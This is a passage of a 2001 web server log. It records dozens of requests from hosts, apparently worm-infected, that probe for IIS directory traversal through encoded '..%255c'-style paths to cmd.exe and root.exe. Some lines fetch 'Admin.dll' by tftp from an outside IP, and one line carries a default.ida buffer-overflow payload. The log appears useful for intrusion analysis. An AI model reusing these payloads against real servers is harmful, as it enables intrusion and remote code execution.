  6830. 20010918 21:31:49: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6831. 20010918 21:31:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6832. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6833. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6834. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6835. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6836. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6837. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6838. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6839. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6840. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6841. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6842. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6843. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6844. 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6845. 20010918 21:37:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6846. 20010918 21:37:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6847. 20010918 21:37:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6848. 20010918 21:39:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6849. 20010918 21:39:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6850. 20010918 21:39:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6851. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6852. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6853. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6854. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6855. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6856. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6857. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6858. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6859. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6860. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6861. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6862. 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6863. 20010918 21:39:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6864. 20010918 21:43:42: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6865. 20010918 21:45:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6866. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6867. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6868. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6869. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6870. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6871. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6872. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6873. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6874. 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6875. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6876. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6877. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6878. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6879. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6880. 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6881. 20010918 21:50:59: www.itecnet.co.jp [210.248.209.115] ""
  6882. 20010918 21:56:30: na-201-20.na.avantel.net.mx [] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6883. 20010918 21:56:46: na-201-20.na.avantel.net.mx [] "GET /scripts/root.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  6884. 20010918 21:56:50: na-201-20.na.avantel.net.mx [] "GET /scripts/Admin.dll HTTP/1.0"
  6885. 20010918 21:56:51: na-201-20.na.avantel.net.mx [] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6886. 20010918 21:57:03: na-201-20.na.avantel.net.mx [] "GET /MSADC/root.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  6887. 20010918 21:57:07: na-201-20.na.avantel.net.mx [] "GET /MSADC/Admin.dll HTTP/1.0"
  6888. 20010918 21:57:12: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6889. 20010918 21:57:13: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6890. 20010918 21:57:14: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6891. 20010918 21:57:18: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6892. 20010918 21:57:30: na-201-20.na.avantel.net.mx [] "GET /c/Admin.dll HTTP/1.0"
  6893. 20010918 21:57:32: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6894. 20010918 21:57:34: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  6895. 20010918 21:57:35: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  6896. 20010918 21:57:37: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  6897. 20010918 21:57:38: na-201-20.na.avantel.net.mx [] "GET /d/Admin.dll HTTP/1.0"
  6898. 20010918 21:57:48: na-201-20.na.avantel.net.mx [] ""
  6899. 20010918 21:57:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  6900. 20010918 22:04:01: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6901. 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6902. 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6903. 20010918 22:04:22: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6904. 20010918 22:04:23: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6905. 20010918 22:04:23: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6906. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6907. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6908. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6909. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6910. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6911. 20010918 22:04:24: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6912. 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6913. 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6914. 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6915. 20010918 22:04:25: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6916. 20010918 22:04:25: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6917. 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6918. 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6919. 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6920. 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6921. 20010918 22:13:43: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6922. 20010918 22:13:44: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6923. 20010918 22:13:44: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6924. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6925. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6926. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6927. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6928. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6929. 20010918 22:13:45: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6930. 20010918 22:13:46: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6931. 20010918 22:13:46: sfe06.eastnet.gatech.edu [128.61.106.134] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6932. 20010918 22:13:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6933. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6934. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6935. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6936. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6937. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6938. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6939. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6940. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6941. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6942. 20010918 22:18:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6943. 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6944. 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6945. 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6946. 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6947. 20010918 22:18:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6948. 20010918 22:18:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6949. 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6950. 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6951. 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6952. 20010918 22:27:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6953. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6954. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6955. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6956. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6957. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6958. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6959. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6960. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6961. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6962. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6963. 20010918 22:27:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6964. 20010918 22:27:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6965. 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6966. 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6967. 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6968. 20010918 22:28:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6969. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6970. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6971. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6972. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6973. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6974. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6975. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6976. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6977. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6978. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6979. 20010918 22:28:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6980. 20010918 22:28:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6981. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6982. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6983. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6984. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6985. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6986. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6987. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6988. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6989. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6990. 20010918 22:30:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6991. 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6992. 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6993. 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6994. 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6995. 20010918 22:30:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6996. 20010918 22:30:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  6997. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  6998. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  6999. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7000. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7001. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7002. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7003. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7004. 20010918 22:33:54: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
